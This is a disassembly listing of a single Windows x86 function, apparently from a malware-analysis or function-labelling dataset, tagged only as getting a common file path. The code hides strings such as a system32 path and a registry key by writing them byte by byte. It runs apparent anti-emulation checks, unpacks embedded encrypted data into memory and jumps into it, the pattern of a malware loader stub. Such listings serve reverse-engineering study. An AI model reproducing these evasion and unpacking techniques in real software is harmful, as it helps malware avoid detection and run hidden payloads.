Function at 0x401140
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x16c
push ebx
push esi
push edi
mov dword [ebp - 0x124], 0
mov dword [ebp - 0x114], 0
mov dword [ebp - 0x134], 0x64
mov dword [ebp - 0x118], 9
mov dword [ebp - 8], 0
mov dword [ebp - 0x120], 0
mov dword [ebp - 0x130], 1
pushal
mov dword [0x448150], ebp
mov eax, dword [str.q1gmwUFsZALJHEkl]
mov byte [eax], 0x5c
mov ecx, dword [str.q1gmwUFsZALJHEkl]
mov byte [ecx + 1], 0x73
mov edx, dword [str.q1gmwUFsZALJHEkl]
mov byte [edx + 2], 0x79
mov eax, dword [str.q1gmwUFsZALJHEkl]
mov byte [eax + 3], 0x73
mov ecx, dword [str.q1gmwUFsZALJHEkl]
mov byte [ecx + 4], 0x74
mov edx, dword [str.q1gmwUFsZALJHEkl]
mov byte [edx + 5], 0x65
mov eax, dword [str.q1gmwUFsZALJHEkl]
mov byte [eax + 6], 0x6d
mov ecx, dword [str.q1gmwUFsZALJHEkl]
mov byte [ecx + 7], 0x33
mov edx, dword [str.q1gmwUFsZALJHEkl]
mov byte [edx + 8], 0x32
mov eax, dword [str.q1gmwUFsZALJHEkl]
mov byte [eax + 9], 0x5c
mov ecx, dword [str.q1gmwUFsZALJHEkl]
mov byte [ecx + 0xa], 0x61
mov edx, dword [str.q1gmwUFsZALJHEkl]
mov byte [edx + 0xb], 0x74
mov eax, dword [str.q1gmwUFsZALJHEkl]
mov byte [eax + 0xc], 0x2e
mov ecx, dword [str.q1gmwUFsZALJHEkl]
mov byte [ecx + 0xd], 0x65
mov edx, dword [str.q1gmwUFsZALJHEkl]
mov byte [edx + 0xe], 0x78
mov eax, dword [str.q1gmwUFsZALJHEkl]
mov byte [eax + 0xf], 0x65
push 0x104
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edx, dword [str.q1gmwUFsZALJHEkl]
push edx
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ecx, [ebp + eax - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0
push pe_nt_image_headers32
push 3
push 0
push 3
mov edx, dword [ebp - 0x130]
push edx
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 0xffffffff
je 0x40129c
cmp dword [ebp - 0x128], 0
jne 0x4012a5
int 0xe
xor eax, eax
jmp 0x4016b2
mov ecx, 0x41
mov edx, dword [0x448040]
mov word [edx], cx
mov eax, 0x56
mov ecx, dword [0x448040]
mov word [ecx + 2], ax
mov edx, 0x49
mov eax, dword [0x448040]
mov word [eax + 4], dx
mov ecx, 0x46
mov edx, dword [0x448040]
mov word [edx + 6], cx
mov eax, 0x69
mov ecx, dword [0x448040]
mov word [ecx + 8], ax
mov edx, 0x6c
mov eax, dword [0x448040]
mov word [eax + 0xa], dx
mov ecx, 0x65
mov edx, dword [0x448040]
mov word [edx + 0xc], cx
mov eax, 0x5c
mov ecx, dword [0x448040]
mov word [ecx + 0xe], ax
mov edx, 0x43
mov eax, dword [0x448040]
mov word [eax + 0x10], dx
mov ecx, 0x6f
mov edx, dword [0x448040]
mov word [edx + 0x12], cx
mov eax, 0x6d
mov ecx, dword [0x448040]
mov word [ecx + 0x14], ax
mov edx, 0x70
mov eax, dword [0x448040]
mov word [eax + 0x16], dx
mov ecx, 0x72
mov edx, dword [0x448040]
mov word [edx + 0x18], cx
mov eax, 0x65
mov ecx, dword [0x448040]
mov word [ecx + 0x1a], ax
mov edx, 0x73
mov eax, dword [0x448040]
mov word [eax + 0x1c], dx
mov ecx, 0x73
mov edx, dword [0x448040]
mov word [edx + 0x1e], cx
mov eax, 0x6f
mov ecx, dword [0x448040]
mov word [ecx + 0x20], ax
mov edx, 0x72
mov eax, dword [0x448040]
mov word [eax + 0x22], dx
mov ecx, 0x73
mov edx, dword [0x448040]
mov word [edx + 0x24], cx
push str.RegOpenKeyExW
push str.advapi32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x12c], eax
lea eax, [ebp - 0x124]
push eax
push 0x20019
push 0
mov ecx, dword [0x448040]
push ecx
push 0x80000000
call dword [ebp - 0x12c]
test eax, eax
je 0x401408
mov eax, 0x16
xor eax, eax
jmp 0x4016b2
movzx edx, byte [ebp - 0x10f]
cmp edx, 0x3a
je 0x40141d
int 0xe
xor eax, eax
jmp 0x4016b2
mov dword [ebp - 0x13c], 0
mov dword [ebp - 0x150], 0x402004
mov eax, dword [ebp - 0x150]
push eax
call fcn.00401000
add esp, 4
mov dword [ebp - 0x144], eax
mov ecx, dword [ebp - 0x144]
push ecx
call fcn.004017e0
add esp, 4
mov dword [ebp - 0x138], eax
mov edx, dword [ebp - 0x144]
push edx
push 0
mov eax, dword [ebp - 0x138]
push eax
call fcn.004017a0
add esp, 0xc
mov ecx, dword [ebp - 0x144]
mov dword [ebp - 0x14c], ecx
mov edx, dword [ebp - 0x13c]
cmp edx, dword [ebp - 0x144]
jae 0x401517
mov eax, dword [ebp - 0x14c]
push eax
mov ecx, dword [ebp - 0x134]
push ecx
call fcn.004016c0
add esp, 8
mov dword [ebp - 0x154], eax
mov edx, dword [ebp - 0x154]
push edx
mov eax, dword [ebp - 0x150]
add eax, dword [ebp - 0x120]
push eax
mov ecx, dword [ebp - 0x138]
add ecx, dword [ebp - 0x13c]
push ecx
call fcn.00401010
add esp, 0xc
mov edx, dword [ebp - 0x118]
add edx, dword [ebp - 0x134]
add edx, dword [ebp - 0x120]
mov dword [ebp - 0x120], edx
mov eax, dword [ebp - 0x13c]
add eax, dword [ebp - 0x134]
mov dword [ebp - 0x13c], eax
mov ecx, dword [ebp - 0x14c]
sub ecx, dword [ebp - 0x154]
mov dword [ebp - 0x14c], ecx
jmp 0x40147f
mov edx, dword [ebp - 0x144]
push edx
mov eax, dword [ebp - 0x138]
push eax
call fcn.004010e0
add esp, 8
mov dword [ebp - 0x120], 0
mov dword [ebp - 0x158], 0
mov dword [ebp - 0x168], 0x445fd2
mov ecx, dword [ebp - 0x168]
push ecx
call fcn.00401000
add esp, 4
mov dword [ebp - 0x15c], eax
mov edx, dword [ebp - 0x15c]
push edx
call fcn.004017e0
add esp, 4
mov dword [ebp - 0x11c], eax
mov eax, dword [ebp - 0x15c]
push eax
push 0
mov ecx, dword [ebp - 0x11c]
push ecx
call fcn.004017a0
add esp, 0xc
mov edx, dword [ebp - 0x15c]
mov dword [ebp - 0x164], edx
mov eax, dword [ebp - 0x158]
cmp eax, dword [ebp - 0x15c]
jae 0x401631
mov ecx, dword [ebp - 0x164]
push ecx
mov edx, dword [ebp - 0x134]
push edx
call fcn.004016c0
add esp, 8
mov dword [ebp - 0x16c], eax
mov eax, dword [ebp - 0x16c]
push eax
mov ecx, dword [ebp - 0x168]
add ecx, dword [ebp - 0x120]
push ecx
mov edx, dword [ebp - 0x11c]
add edx, dword [ebp - 0x158]
push edx
call fcn.00401010
add esp, 0xc
mov eax, dword [ebp - 0x118]
add eax, dword [ebp - 0x134]
add eax, dword [ebp - 0x120]
mov dword [ebp - 0x120], eax
mov ecx, dword [ebp - 0x158]
add ecx, dword [ebp - 0x134]
mov dword [ebp - 0x158], ecx
mov edx, dword [ebp - 0x164]
sub edx, dword [ebp - 0x16c]
mov dword [ebp - 0x164], edx
jmp 0x401599
mov eax, dword [ebp - 0x15c]
push eax
mov ecx, dword [ebp - 0x11c]
push ecx
call fcn.004010e0
add esp, 8
mov edx, dword [ebp - 0x138]
mov eax, dword [ebp - 0x11c]
mov dword [edx], eax
push 0x41000
call fcn.004017e0
add esp, 4
mov dword [ebp - 4], eax
push 0x3e600
mov ecx, dword [ebp - 0x138]
push ecx
mov edx, dword [ebp - 4]
add edx, 0x300
push edx
call fcn.00401010
add esp, 0xc
mov eax, dword [ebp - 4]
sub eax, 0x400000
push eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 0x11c]
push edx
call fcn.004016f0
add esp, 0xc
popal
mov esp, dword [0x448150]
pop eax
mov ecx, dword [ebp - 4]
add ecx, 0x3e5c0
push ecx
ret
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret